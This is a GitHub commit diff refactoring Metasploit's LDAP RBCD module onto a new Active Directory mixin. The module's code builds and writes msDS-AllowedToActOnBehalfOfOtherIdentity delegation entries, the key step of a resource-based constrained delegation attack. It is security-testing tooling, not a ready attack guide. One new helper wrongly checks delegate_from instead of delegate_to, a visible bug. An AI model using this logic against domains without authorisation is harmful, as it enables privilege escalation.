Skip to content

Commit 0cc38c4

Browse files
committed
Update the RBCD module to use the new mixin
1 parent 49a317e commit 0cc38c4

File tree

1 file changed

+40
-81
lines changed
  • modules/auxiliary/admin/ldap

1 file changed

+40
-81
lines changed

modules/auxiliary/admin/ldap/rbcd.rb

Lines changed: 40 additions & 81 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@
55

66
class MetasploitModule < Msf::Auxiliary
77

8-
include Msf::Exploit::Remote::LDAP
8+
include Msf::Exploit::Remote::LDAP::ActiveDirectory
99
include Msf::OptionalSession::LDAP
1010

1111
ATTRIBUTE = 'msDS-AllowedToActOnBehalfOfOtherIdentity'.freeze
@@ -65,32 +65,19 @@ def build_ace(sid)
6565
})
6666
end
6767

68-
def fail_with_ldap_error(message)
69-
ldap_result = @ldap.get_operation_result.table
70-
return if ldap_result[:code] == 0
71-
72-
print_error(message)
73-
# Codes taken from https://ldap.com/ldap-result-code-reference-core-ldapv3-result-codes
74-
case ldap_result[:code]
75-
when 1
76-
fail_with(Failure::Unknown, "An LDAP operational error occurred. The error was: #{ldap_result[:error_message].strip}")
77-
when 16
78-
fail_with(Failure::NotFound, 'The LDAP operation failed because the referenced attribute does not exist.')
79-
when 50
80-
fail_with(Failure::NoAccess, 'The LDAP operation failed due to insufficient access rights.')
81-
when 51
82-
fail_with(Failure::UnexpectedReply, 'The LDAP operation failed because the server is too busy to perform the request.')
83-
when 52
84-
fail_with(Failure::UnexpectedReply, 'The LDAP operation failed because the server is not currently available to process the request.')
85-
when 53
86-
fail_with(Failure::UnexpectedReply, 'The LDAP operation failed because the server is unwilling to perform the request.')
87-
when 64
88-
fail_with(Failure::Unknown, 'The LDAP operation failed due to a naming violation.')
89-
when 65
90-
fail_with(Failure::Unknown, 'The LDAP operation failed due to an object class violation.')
68+
def get_delegate_to_obj
69+
delegate_to = datastore['DELEGATE_TO']
70+
if delegate_to.blank?
71+
fail_with(Failure::BadConfig, 'The DELEGATE_TO option must be specified for this action.')
9172
end
9273

93-
fail_with(Failure::Unknown, "Unknown LDAP error occurred: result: #{ldap_result[:code]} message: #{ldap_result[:error_message].strip}")
74+
obj = adds_get_object_by_samaccountname(@ldap, delegate_to)
75+
if obj.nil? && !delegate_from.end_with?('$')
76+
obj = adds_get_object_by_samaccountname(@ldap, "#{delegate_to}$")
77+
end
78+
fail_with(Failure::NotFound, "Failed to find sAMAccountName: #{delegate_to}") unless obj
79+
80+
obj
9481
end
9582

9683
def get_delegate_from_obj
@@ -99,37 +86,15 @@ def get_delegate_from_obj
9986
fail_with(Failure::BadConfig, 'The DELEGATE_FROM option must be specified for this action.')
10087
end
10188

102-
obj = ldap_get("(sAMAccountName=#{delegate_from})", attributes: ['sAMAccountName', 'ObjectSID'])
89+
obj = adds_get_object_by_samaccountname(@ldap, delegate_from)
10390
if obj.nil? && !delegate_from.end_with?('$')
104-
obj = ldap_get("(sAMAccountName=#{delegate_from}$)", attributes: ['sAMAccountName', 'ObjectSID'])
91+
obj = adds_get_object_by_samaccountname(@ldap, "#{delegate_from}$")
10592
end
10693
fail_with(Failure::NotFound, "Failed to find sAMAccountName: #{delegate_from}") unless obj
10794

10895
obj
10996
end
11097

111-
def ldap_get(filter, attributes: [])
112-
raw_obj = @ldap.search(base: @base_dn, filter: filter, attributes: attributes).first
113-
return nil unless raw_obj
114-
115-
obj = {}
116-
117-
obj['dn'] = raw_obj['dn'].first.to_s
118-
unless raw_obj['sAMAccountName'].empty?
119-
obj['sAMAccountName'] = raw_obj['sAMAccountName'].first.to_s
120-
end
121-
122-
unless raw_obj['ObjectSid'].empty?
123-
obj['ObjectSid'] = Rex::Proto::MsDtyp::MsDtypSid.read(raw_obj['ObjectSid'].first)
124-
end
125-
126-
unless raw_obj[ATTRIBUTE].empty?
127-
obj[ATTRIBUTE] = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.read(raw_obj[ATTRIBUTE].first)
128-
end
129-
130-
obj
131-
end
132-
13398
def run
13499
ldap_connect do |ldap|
135100
validate_bind_success!(ldap)
@@ -145,12 +110,7 @@ def run
145110
end
146111
@ldap = ldap
147112

148-
delegate_to = datastore['DELEGATE_TO']
149-
obj = ldap_get("(sAMAccountName=#{delegate_to})", attributes: ['sAMAccountName', 'ObjectSID', ATTRIBUTE])
150-
if obj.nil? && !delegate_to.end_with?('$')
151-
obj = ldap_get("(sAMAccountName=#{delegate_to}$)", attributes: ['sAMAccountName', 'ObjectSID', ATTRIBUTE])
152-
end
153-
fail_with(Failure::NotFound, "Failed to find sAMAccountName: #{delegate_to}") unless obj
113+
obj = get_delegate_to_obj
154114

155115
send("action_#{action.name.downcase}", obj)
156116
end
@@ -165,12 +125,12 @@ def run
165125
end
166126

167127
def action_read(obj)
168-
security_descriptor = obj[ATTRIBUTE]
169-
if security_descriptor.nil?
128+
if obj[ATTRIBUTE].first.nil?
170129
print_status("The #{ATTRIBUTE} field is empty.")
171130
return
172131
end
173132

133+
security_descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.read(obj[ATTRIBUTE].first)
174134
if (sddl = sd_to_sddl(security_descriptor))
175135
vprint_status("#{ATTRIBUTE}: #{sddl}")
176136
end
@@ -182,9 +142,9 @@ def action_read(obj)
182142

183143
print_status('Allowed accounts:')
184144
security_descriptor.dacl.aces.each do |ace|
185-
account_name = ldap_get("(ObjectSid=#{ace.body.sid})", attributes: ['sAMAccountName'])
145+
account_name = adds_get_object_by_sid(@ldap, ace.body.sid)
186146
if account_name
187-
print_status(" #{ace.body.sid} (#{account_name['sAMAccountName']})")
147+
print_status(" #{ace.body.sid} (#{account_name[:sAMAccountName].first})")
188148
else
189149
print_status(" #{ace.body.sid}")
190150
end
@@ -194,14 +154,14 @@ def action_read(obj)
194154
def action_remove(obj)
195155
delegate_from = get_delegate_from_obj
196156

197-
security_descriptor = obj[ATTRIBUTE]
157+
security_descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.read(obj[ATTRIBUTE].first)
198158
unless security_descriptor.dacl && !security_descriptor.dacl.aces.empty?
199159
print_status('No DACL ACEs are present. No changes are necessary.')
200160
return
201161
end
202162

203163
aces = security_descriptor.dacl.aces.snapshot
204-
aces.delete_if { |ace| ace.body[:sid] == delegate_from['ObjectSid'] }
164+
aces.delete_if { |ace| ace.body.sid == delegate_from[:objectSid].first }
205165
delta = security_descriptor.dacl.aces.length - aces.length
206166
if delta == 0
207167
print_status('No DACL ACEs matched. No changes are necessary.')
@@ -214,28 +174,27 @@ def action_remove(obj)
214174
security_descriptor.dacl.acl_count.clear
215175
security_descriptor.dacl.acl_size.clear
216176

217-
unless @ldap.replace_attribute(obj['dn'], ATTRIBUTE, security_descriptor.to_binary_s)
218-
fail_with_ldap_error("Failed to update the #{ATTRIBUTE} attribute.")
219-
end
177+
@ldap.replace_attribute(obj.dn, ATTRIBUTE, security_descriptor.to_binary_s)
178+
validate_query_result!(@ldap.get_operation_result.table)
179+
220180
print_good("Successfully updated the #{ATTRIBUTE} attribute.")
221181
end
222182

223183
def action_flush(obj)
224-
unless obj[ATTRIBUTE]
184+
unless obj[ATTRIBUTE]&.first
225185
print_status("The #{ATTRIBUTE} field is empty. No changes are necessary.")
226186
return
227187
end
228188

229-
unless @ldap.delete_attribute(obj['dn'], ATTRIBUTE)
230-
fail_with_ldap_error("Failed to deleted the #{ATTRIBUTE} attribute.")
231-
end
189+
@ldap.delete_attribute(obj.dn, ATTRIBUTE)
190+
validate_query_result!(@ldap.get_operation_result.table)
232191

233192
print_good("Successfully deleted the #{ATTRIBUTE} attribute.")
234193
end
235194

236195
def action_write(obj)
237196
delegate_from = get_delegate_from_obj
238-
if obj[ATTRIBUTE]
197+
if obj[ATTRIBUTE]&.first
239198
_action_write_update(obj, delegate_from)
240199
else
241200
_action_write_create(obj, delegate_from)
@@ -244,36 +203,36 @@ def action_write(obj)
244203

245204
def _action_write_create(obj, delegate_from)
246205
vprint_status("Creating new #{ATTRIBUTE}...")
206+
delegate_from_sid = Rex::Proto::MsDtyp::MsDtypSid.read(delegate_from[:objectSid].first)
247207
security_descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.new
248208
security_descriptor.owner_sid = Rex::Proto::MsDtyp::MsDtypSid.new('S-1-5-32-544')
249209
security_descriptor.dacl = Rex::Proto::MsDtyp::MsDtypAcl.new
250210
security_descriptor.dacl.acl_revision = Rex::Proto::MsDtyp::MsDtypAcl::ACL_REVISION_DS
251-
security_descriptor.dacl.aces << build_ace(delegate_from['ObjectSid'])
211+
security_descriptor.dacl.aces << build_ace(delegate_from_sid)
252212

253213
if (sddl = sd_to_sddl(security_descriptor))
254214
vprint_status("New #{ATTRIBUTE}: #{sddl}")
255215
end
256216

257-
unless @ldap.add_attribute(obj['dn'], ATTRIBUTE, security_descriptor.to_binary_s)
258-
fail_with_ldap_error("Failed to create the #{ATTRIBUTE} attribute.")
259-
end
217+
@ldap.add_attribute(obj.dn, ATTRIBUTE, security_descriptor.to_binary_s)
218+
validate_query_result!(@ldap.get_operation_result.table)
260219

261220
print_good("Successfully created the #{ATTRIBUTE} attribute.")
262221
print_status('Added account:')
263-
print_status(" #{delegate_from['ObjectSid']} (#{delegate_from['sAMAccountName']})")
222+
print_status(" #{delegate_from_sid} (#{delegate_from[:sAMAccountName].first})")
264223
end
265224

266225
def _action_write_update(obj, delegate_from)
267226
vprint_status("Updating existing #{ATTRIBUTE}...")
268-
security_descriptor = obj[ATTRIBUTE]
227+
security_descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.read(obj[ATTRIBUTE].first)
269228

270229
if (sddl = sd_to_sddl(security_descriptor))
271230
vprint_status("Old #{ATTRIBUTE}: #{sddl}")
272231
end
273232

274233
if security_descriptor.dacl
275-
if security_descriptor.dacl.aces.any? { |ace| ace.body[:sid].to_s == delegate_from['ObjectSid'].to_s }
276-
print_status("Delegation from #{delegate_from['sAMAccountName']} to #{obj['sAMAccountName']} is already configured.")
234+
if security_descriptor.dacl.aces.any? { |ace| ace.body.sid == delegate_from[:objectSid].first }
235+
print_status("Delegation from #{delegate_from[:sAMAccountName].first} to #{obj[:sAMAccountName].first} is already configured.")
277236
end
278237
# clear these fields so they'll be calculated automatically after the update
279238
security_descriptor.dacl.acl_count.clear
@@ -284,15 +243,15 @@ def _action_write_update(obj, delegate_from)
284243
security_descriptor.dacl.acl_revision = Rex::Proto::MsDtyp::MsDtypAcl::ACL_REVISION_DS
285244
end
286245

287-
security_descriptor.dacl.aces << build_ace(delegate_from['ObjectSid'])
246+
delegate_from_sid = Rex::Proto::MsDtyp::MsDtypSid.read(delegate_from[:objectSid].first)
247+
security_descriptor.dacl.aces << build_ace(delegate_from_sid)
288248

289249
if (sddl = sd_to_sddl(security_descriptor))
290250
vprint_status("New #{ATTRIBUTE}: #{sddl}")
291251
end
292252

293-
unless @ldap.replace_attribute(obj['dn'], ATTRIBUTE, security_descriptor.to_binary_s)
294-
fail_with_ldap_error("Failed to update the #{ATTRIBUTE} attribute.")
295-
end
253+
@ldap.replace_attribute(obj.dn, ATTRIBUTE, security_descriptor.to_binary_s)
254+
validate_query_result!(@ldap.get_operation_result.table)
296255

297256
print_good("Successfully updated the #{ATTRIBUTE} attribute.")
298257
end

0 commit comments

Comments
 (0)